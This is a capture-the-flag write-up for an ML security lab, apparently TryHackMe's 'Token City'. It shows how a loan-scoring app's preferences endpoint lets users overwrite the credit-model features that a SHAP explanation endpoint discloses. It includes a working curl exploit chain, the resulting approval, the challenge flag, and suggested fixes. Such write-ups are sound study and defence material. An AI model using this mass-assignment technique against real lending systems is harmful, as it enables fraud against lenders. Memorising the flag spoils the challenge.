# Token City — Task 1: The Loan Arranger

- **Category:** ML Sec · Medium · 60 pts
- **Target:** `http://10.113.144.143` (CortexLend)
- **Flag:** `THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}`

## Endpoints

| Method | Path | Notes |
|---|---|---|
| POST | `/auth/register` | `{username, password}` — open registration |
| POST | `/auth/login` | sets session cookie |
| POST | `/api/loan/apply` | no body; scores user's stored ML features |
| GET  | `/api/loan/explain` | SHAP TreeExplainer output — **leaks feature names** |
| PATCH | `/api/profile/preferences` | claims to take `{notification_freq, theme, timezone}` — actually accepts arbitrary keys |

## Vulnerability — Feature-store namespace collision

The "preferences" endpoint and the ML "feature store" are the same underlying user record. PATCH has no key allow-list, so any key in the JSON body is written through, **including the ML features the GradientBoosting model reads at inference**.

The SHAP `/api/loan/explain` endpoint completes the kill chain by disclosing the exact feature names:

```
credit_duii, debt_to_income, loan_default_flag, months_employed, num_late_payments
```

`credit_duii` is the obfuscated credit score (range looks 0–1000). One PATCH is enough.

## Exploit (minimum)

```bash
# session
curl -c j -X POST -H 'Content-Type: application/json' \
  -d '{"username":"x","password":"y"}' http://10.113.144.143/auth/register
curl -c j -b j -X POST -H 'Content-Type: application/json' \
  -d '{"username":"x","password":"y"}' http://10.113.144.143/auth/login

# overwrite the feature store via the prefs endpoint
curl -b j -X PATCH -H 'Content-Type: application/json' \
  -d '{"credit_duii": 820}' http://10.113.144.143/api/profile/preferences

# re-score → approved, flag is in the message
curl -b j -X POST http://10.113.144.143/api/loan/apply
```

Before: `{"status":"denied","score":0.225}`
After:  `{"status":"approved","score":0.9956,"message":"Congratulations! ... THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}"}`

## Lessons / fixes

1. **Allow-list, never deny-list, on update endpoints.** Preferences PATCH should hard-code `{notification_freq, theme, timezone}`.
2. **Don't co-mingle user-controlled state with ML feature stores.** Inference features must be derived server-side from authoritative records (credit bureau pull, payment history), never written by the applicant.
3. **SHAP explanations are an attacker oracle.** They satisfy EU AI Act Art. 13 / Fair Lending — but if your write surface is broken, the explanation tells the attacker exactly which knob to turn. Either fix the write surface or scope explanations to coarse buckets.
